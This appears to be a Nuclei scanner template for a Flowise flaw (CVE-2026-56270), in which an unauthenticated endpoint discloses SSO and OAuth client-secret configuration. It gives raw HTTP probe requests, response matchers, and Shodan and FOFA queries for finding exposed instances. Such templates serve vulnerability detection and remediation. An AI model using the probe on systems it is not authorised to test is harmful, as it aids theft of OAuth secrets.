Flowise <= 3.0.13 - Unauthenticated OAuth Configuration Disclosure

id: CVE-2026-56270

info:
  name: Flowise <= 3.0.13 - Unauthenticated OAuth Configuration Disclosure
  author: 0x_Akoko,pdteam
  severity: high
  description: |
    Flowise before 3.1.0 contains a missing authentication vulnerability in the /api/v1/loginmethod endpoint, allowing unauthenticated remote attackers to retrieve an organization's complete SSO configuration including OAuth client secrets by providing an organizationId parameter.
  impact: |
    Remote attackers can harvest sensitive OAuth client secrets, leading to potential unauthorized access to integrated services.
  remediation: |
    Upgrade to version 3.1.0 or later.
  reference:
    - https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-6pcv-j4jx-m4vx
    - https://nvd.nist.gov/vuln/detail/CVE-2026-56270
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-56270
    epss-score: 0.00475
    epss-percentile: 0.39212
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 2
    vendor: flowiseai
    product: flowise
    shodan-query: http.title:"Flowise"
    fofa-query: title="Flowise"
  tags: cve,cve2026,flowise,unauth,disclosure,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(tolower(body), "flowise")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/v1/loginmethod?organizationId=test HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code != 401'
          - 'contains_any(body, "Invalid Organization Id", "assertEnterprisePlatform", "\"providers\"", "\"callbacks\"")'
        condition: and
# digest: 4a0a004730450221009bdb2a517c86fd18a9de50b7dce99b4c7ea3b2c442a5ba50c8ad707a7dc3149a02200d1f523734d4bc1b62fd399e8e95d6411b1a3cb25515237a0ffc2a5581cd98d9:922c64590222798bb761d5b6d8e72950